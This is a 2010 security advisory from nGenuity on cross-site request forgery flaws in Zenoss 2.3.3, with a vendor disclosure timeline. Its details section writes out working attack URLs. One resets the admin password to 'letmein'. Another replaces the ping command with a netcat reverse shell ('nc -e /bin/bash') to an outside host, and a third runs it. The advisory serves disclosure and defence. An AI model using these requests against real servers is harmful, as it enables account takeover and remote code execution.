Zenoss Multiple Admin CSRF

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nGenuity Information Services - Security Advisory

   Advisory ID: NGENUITY-2010-002 - Zenoss Multiple Admin CSRF
   Application: Zenoss 2.3.3
        Vendor: Zenoss
Vendor website: http://www.zenoss.com
        Author: Adam Baldwin (adam_baldwin at ngenuity-is.com)

  I. BACKGROUND
     Zenoss is a commercial and open source systems and network monitoring tool. Much
     of the applications functionality is accessible via a front end web application.

 II. DETAILS

     Multiple CSRF vulnerabilities exist that can allow for arbitrary
     commands to be executed on the Zenoss server as well as reset the Zenoss
     admin password.

     Attack scenario: If an administrator has an active Zenoss
     session and visits one of these links or visits a malicious page that
     contains resources to point to these URL's

     1. Reset user password to a known state Cross-Site Request Forgery CSRF,
     in this case the password is reset to letmein.

        http://172.16.28.5:8080/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&
        defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefresh:
        boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&pager=&
        password=letmein&sndpassword=letmein&zenScreenName=editUserSettings

     2. Change and execute a command CSRF.
     Change the ping command to be a netcat shell out to a remote system. In
     this case an internal system running on port 443

        http://172.16.28.5:8080/zport/dmd/userCommands/ping?command:text=nc -e
        /bin/bash 172.16.28.6 443&commandId=ping&description:text=&
        manage_editUserCommand:method=Save&zenScreenName=userCommandDetail

     Execute the new "ping" command:
     http://172.16.28.5:8080/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping


III. REFERENCES
     [1] - http://www.zenoss.com

 IV. VENDOR COMMUNICATION
     3.10.2009 - Vulnerability Discovery
     8.21.2009 - Requested status from vendor
     9.29.2009 - Vendor call (Fix pending)

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